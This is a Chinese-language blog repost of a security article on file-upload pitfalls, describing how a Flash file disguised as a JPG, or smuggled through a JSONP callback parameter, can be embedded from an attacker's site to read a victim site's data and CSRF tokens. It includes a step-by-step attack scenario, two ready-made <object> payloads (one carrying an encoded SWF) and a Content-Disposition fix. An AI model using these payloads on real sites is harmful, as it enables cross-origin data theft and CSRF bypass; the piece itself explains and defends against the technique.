上传文件的陷阱

0x00 背景

现在很多网站都允许用户上传文件,但他们都没意识到让用户(或攻击者)上传文件(甚至合法文件)的陷阱。

什么是合法文件?

通常,判断文件是否合法会透过两个参数:文件后缀(File extension)及Content-Type。

例如,网站会确保后缀是jpg及Content-Type是image/jpeg以防止恶意文件,对不?

但一些像Flash的插件程序并不关心后缀及Content-type。假如一个文件被标签嵌入,它会像Flash一样执行,只要它的内容像个Flash文件。

但等等,Flash不是应该只在同域下被嵌入才会执行?亦对亦错。假如一个Flash文件(或以图像包装的Flash文件)在victim.com上传然后于attacker.com下嵌入,它只能在attacker.com下执行JavaScript。但是,假如该Flash文件发出请求,那么它可以读取到victim.com下的文件。

这说明了若不检查文件内容而直接上传,攻击者可以绕过网站的CSRF防御。

0x01 攻击

基于上面我们可以想像一种攻击场境:

1. 攻击者建立一个恶意Flash(SWF)文件  
2. 攻击者更改文件副档名为JPG  
3. 攻击者上传档案到victim.com  
4. 攻击者在attacker.com以标签及application/x-shockwave-flash类型嵌入该文件  
5. 受害者浏览attacker.com,并以SWF格式载入该文件  
6. 攻击者现在可以透过该SWF并以受害者的session向victim.com发出及接收任意请求  
7. 攻击者向victim.com发出请求后取得受害者的CSRF token  

payload会像这样

<object style="height:1px;width:1px;" data="http://victim.com/user/2292/profilepicture.jpg" type="application/x-shockwave-flash" allowscriptaccess="always" flashvars="c=read&u=http://victim.com/secret_file.txt"></object>   

0x02 修补

好消息是有一个相对简单的方法防止该Flash的行为。 Flash若看到文件返回下面的Content-Disposition header就不会执行:

Content-Disposition: attachment; filename="image.jpg"  

所以若允许上传或输出任意数据,网站应该总是检查内容是否合法而且尽可能返回Content-Disposition header

0x03 其他用途

实际上,该攻击不只限制于文件上传。该攻击只要求攻击者能够控制域名下的数据(不论Content-Type),因此还有其他实施攻击的方法。

其中一种是利用JSONP接口。通常,攻击者可以透过更改callback参数控制JSONP接口的输出。然而,攻击者可以把整个Flash文件的内容作为callback参数,而达到与上载文件无异的攻击。 Payload会像这样:

<object style="height:1px;width:1px;" data="http://victim.com/user/jsonp?callback=CWS%07%0E000x%9C%3D%8D1N%C3%40%10E%DF%AE%8D%BDI%08%29%D3%40%1D%A0%A2%05%09%11%89HiP%22%05D%8BF%8E%0BG%26%1B%D9%8E%117%A0%A2%DC%82%8A%1Br%04X%3B%21S%8C%FE%CC%9B%F9%FF%AA%CB7Jq%AF%7F%ED%F2%2E%F8%01%3E%9E%18p%C9c%9Al%8B%ACzG%F2%DC%BEM%EC%ABdkj%1E%AC%2C%9F%A5%28%B1%EB%89T%C2Jj%29%93%22%DBT7%24%9C%8FH%CBD6%29%A3%0Bx%29%AC%AD%D8%92%FB%1F%5C%07C%AC%7C%80Q%A7Nc%F4b%E8%FA%98%20b%5F%26%1C%9F5%20h%F1%D1g%0F%14%C1%0A%5Ds%8D%8B0Q%A8L%3C%9B6%D4L%BD%5F%A8w%7E%9D%5B%17%F3%2F%5B%DCm%7B%EF%CB%EF%E6%8D%3An%2D%FB%B3%C3%DD%2E%E3d1d%EC%C7%3F6%CD0%09" type="application/x-shockwave-flash" allowscriptaccess="always" flashvars="c=alert&u=http://victim.com/secret_file.txt"></object>

from: http://blog.detectify.com/post/86298380233/the-pitfalls-of-allowing-file-uploads-on-your-website

原文发布于微信公众号 - 我为Net狂(dotNetCrazy)

原文发表时间:2016-07-05

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏WindCoder

JSON Web Token(JWT)教程:一个基于Laravel和AngularJS的例子

这是一篇介绍JSON Web Token(JWT)的文章,虽然可能用到的例子和Laravel和AngularJS有关,但知道了原理便能写出适用于自己的。同时,由...

3551
来自专栏python爬虫实战之路

知乎模拟登陆

经常在简书上写作,写完后再发布到其他网站,非常麻烦,所以准备搞一下自动发布文章的工具。那么第一步先要模拟登陆几个网站。今天先从知乎开始。

1373
来自专栏大内老A

[WCF安全系列]从两种安全模式谈起

WCF的安全体系主要包括三个方面:传输安全(Transfer Security)、授权或者访问控制(Authorization OR Access Contro...

1947
来自专栏云端架构

【云端架构】常见电脑开放端口及含义

说明:通常用于分析操作系统。这一方法能够工作是因为在一些系统中“0”是无效端口,当你试图使用通常的闭合端口连接它时将产生不同的结果。一种典型的扫描,使用IP地址...

5987
来自专栏阮一峰的网络日志

SSH原理与运用(一):远程登录

SSH是每一台Linux电脑的标准配置。 随着Linux设备从电脑逐渐扩展到手机、外设和家用电器,SSH的使用范围也越来越广。不仅程序员离不开它,很多普通用户也...

3564
来自专栏Android 开发者

[译] 在 Android P 中使用默认的 TLS 来保护你的用户

2403
来自专栏程序员宝库

更快更安全,HTTPS 优化总结

在网站升级到 HTTPS 之后,我们还可以有很多玩意可以折腾,优化 HTTPS,让它更快更安全。这里是一篇 HTTPS 优化的总结,也包含问题的解决方法,不过不...

95511
来自专栏张戈的专栏

启用某些Linux发行版的root帐号

跟了我 5 年多的本本已步入花甲,CPU 严重老化,运行 Windows 异常吃力,于是考虑换成 Linux 试试。忙活了一天,测试了 2 个“家用”Linux...

4024
来自专栏前端笔记

【HTTP2.0 协议】就“腾讯云 CDN 针对 HTTP 2.0全面公测”浅谈如何启用 HTTP 2.0协议?

HTTPS 是指超文本传输安全协议(Hypertext Transfer Protocol Secure),是一种在 HTTP 协议基础上进行传输加密的安全协...

5709
来自专栏张首富-小白的成长历程

CentOS使用SMTP第三方发送邮件

SMTP称为简单邮件传输协议(Simple Mail Transfer Protocal),目标是向用户提供高效、可靠的邮件传输。它的一个重要特点是它能够在传送...

2482

扫码关注云+社区

领取腾讯云代金券